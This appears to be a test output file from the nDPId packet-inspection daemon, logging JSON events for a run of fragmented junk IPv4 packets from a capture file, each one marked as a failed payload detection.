+00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4287,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652115,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhskAGQ\/8KAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4287,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4288,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652121,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtEAGQ\/0KAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4288,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4289,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652127,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtkAGQ\/sKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4289,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4290,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652134,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhuEAGQ\/kKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4290,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4291,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652140,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhukAGQ\/cKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4291,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4292,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652153,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvEAGQ\/UKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4292,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4293,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652168,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvkAGQ\/MKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4293,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4294,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652214,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwEAGQ\/EKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4294,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4295,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652227,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwkAGQ+8KAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4295,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4296,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652243,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxEAGQ+0KAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4296,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4297,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652257,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxkAGQ+sKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4297,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4298,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652269,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhyEAGQ+kKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4298,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4299,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652282,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhykAGQ+cKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4299,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4300,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652293,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzEAGQ+UKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4300,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4301,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652305,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzkAGQ+MKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4301,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4302,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652319,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0EAGQ+EKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4302,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4303,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652331,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0kAGQ98KAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4303,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4304,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652344,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1EAGQ90KAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4304,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4305,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652356,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1kAGQ9sKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4305,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4306,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652368,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2EAGQ9kKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4306,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4307,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652381,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2kAGQ9cKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4307,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4308,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652393,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3EAGQ9UKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4308,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4309,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652405,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3kAGQ9MKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4309,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4310,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652417,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4EAGQ9EKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4310,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4311,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652432,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4kAGQ88KAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4311,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4312,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652444,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5EAGQ80KAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4312,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4313,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652467,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5kAGQ8sKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4313,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4314,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652479,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6EAGQ8kKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4314,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4315,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652493,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6kAGQ8cKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4315,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4316,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652505,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7EAGQ8UKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4316,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4317,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652517,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7kAGQ8MKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4317,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4318,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652533,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8EAGQ8EKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4318,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4319,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652545,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4319,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4320,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652563,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4320,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4321,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652575,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4321,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4322,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652591,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4322,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4323,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652603,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4323,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4324,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652615,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4324,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4325,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652629,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4325,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4326,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652641,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4326,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4327,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652654,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4327,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4328,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":652669,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4328,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 